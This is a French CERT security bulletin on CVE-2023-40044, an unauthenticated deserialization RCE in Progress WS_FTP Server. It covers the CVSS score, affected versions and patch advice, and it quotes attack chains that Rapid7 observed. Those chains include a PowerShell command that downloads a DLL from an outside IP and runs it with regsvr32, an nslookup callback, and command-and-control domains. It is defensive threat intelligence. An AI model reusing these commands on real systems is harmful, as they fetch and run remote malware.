aDvens

Security for the greater good

Bulletin d'alerte
Vulnérabilité critique dans Progress WS_FTP Server

2023-10-03 | **TLP:CLEAR** | CERT aDvens - CTI
Advens - 16 Quai de la Mégisserie - 75001 Paris

Sommaire

CVE-2023-40044

Le 27 septembre 2023, Progress a publié un bulletin d'alerte concernant 8 vulnérabilités dans leur solution WS_FTP Server. La plus critique, découverte par les équipes d'Assetnote, permet à un attaquant non authentifié d'exécuter du code arbitraire sur le serveur.

Cette vulnérabilité est due à un défaut de déserialisation de données *.NET* dans le module *Ad Hoc Transfer*. En envoyant une requête spécifiquement forgée, un attaquant non authentifié peut exécuter du code sur le serveur WS_FTP avec les privilèges *NT AUTHORITY\NETWORK SERVICE*.

Cette vulnérabilité est exploitée.

Type de vulnérabilité

- **CWE-502** : Deserialization of Untrusted Data

Risque

- Exécution de code arbitraire

Criticité (Score de base CVSS v3.1)

Vecteur d'attaque	Réseau	Portée	Inchangée
Complexité d'attaque	Faible	Impact sur la confidentialité	Elevé
Privilèges requis	Faible	Impact sur l'intégrité	Elevé
Interaction de l'utilisateur	Aucune	Impact sur la disponibilité	Elevé

Produits impactés

- Serveur WS_FTP versions antérieures à 8.7.4 et 8.8.2

Recommandations

- Mettre à jour les Serveurs Progress WS_FTP vers la version 8.7.4, 8.8.2 ou ultérieure.
- Si la mise à jour ne peut pas être déployée, il est recommandé de désactiver le module *Ad Hoc Transfer*.
- Des informations complémentaires sont disponibles dans le bulletin de Progress.

Preuve de concept

Une preuve de concept est disponible en sources ouvertes.

Chaines d'attaques observées par Rapid7

Rapid7 a partagé des détails sur deux chaines d'attaques qu'ils ont observées dans leurs environnements.

Attaque 1

Great-grandparent Process

```
C:\Windows\SysWOW64\inetsrv\w3wp.exe -ap "WSFTPSVR_WTM" -v "v4.0" -l "webengine4.dll" -a
\\.\pipe\iisipm18823d36-4194-409a-805b-cea0f4389a0c -h
"C:\inetpub\temp\apppools\WSFTPSVR_WTM\WSFTPSVR_WTM.config" -w "" -m 1 -t 20 -ta 0
```

Grandparent Process

```
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths
@"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET
Files\aht\e514712b\a2ab2de1\ryvjavth.cmdline
```

Parent Process

```
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86
"/OUT:C:\Windows\TEMP\RES6C8F.tmp" "c:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET
Files\aht\e514712b\a2ab2de1\CSCCEF3EFC08A254FF1848B4D8FBBA6D0CE.TMP
```

Child Process

```
    C:\Windows\System32\cmd.exe" /c cmd.exe /C nslookup 2adc9m0bc70noboyvgt357r5gwmnady2.oastify.co
```

Attaque 2

Great-grandparent Process

```
C:\WINDOWS\SysWOW64\inetsrv\w3wp.exe -ap "WSFTPSVR_WTM" -v "v4.0" -l "webengine4.dll" -a
\\.\pipe\iisipme6a8a618-bb7f-470c-92e9-58204f6ffcfa -h
"C:\inetpub\temp\apppools\WSFTPSVR_WTM\WSFTPSVR_WTM.config" -w "" -m 1 -t 20 -ta 0
```

Grandparent Process

```
C:\Windows\System32\cmd.exe" /c powershell /c "IWR http://172.245.213[.]135:3389/bcrypt -OutFile
c:\users\public\NTUSER.dll
```

Parent Process

```
powershell /c "IWR http://172.245.213[.]135:3389/bcrypt -OutFile c:\users\public\NTUSER.dll
```

Child Process

```
C:\Windows\System32\cmd.exe" /c regsvr32 c:\users\public\NTUSER.dll
```

Lors de son exécution, *NTUSER.dll* télécharge depuis l'URL *status.backendapi-fe4[.]workers[.]dev*, le fichier *stage2.zip*. Cette archive contient un autre fichier exécutable développé en Go qui semble communiquer avec le domaine *realtime-v1[.]backendapi-fe4[.]workers[.]dev*.

Règle de détection

Velociraptor a publié une règle pour détecter l'exploitation des vulnérabilités CVE-2023-40044 et CVE-2023-42657.

Références

- https://nvd.nist.gov/vuln/detail/CVE-2023-40044
- https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023
- https://www.rapid7.com/blog/post/2023/09/29/etr-critical-vulnerabilities-in-ws_ftp-server/
- https://docs.velociraptor.app/exchange/artifacts/pages/ws_ftp/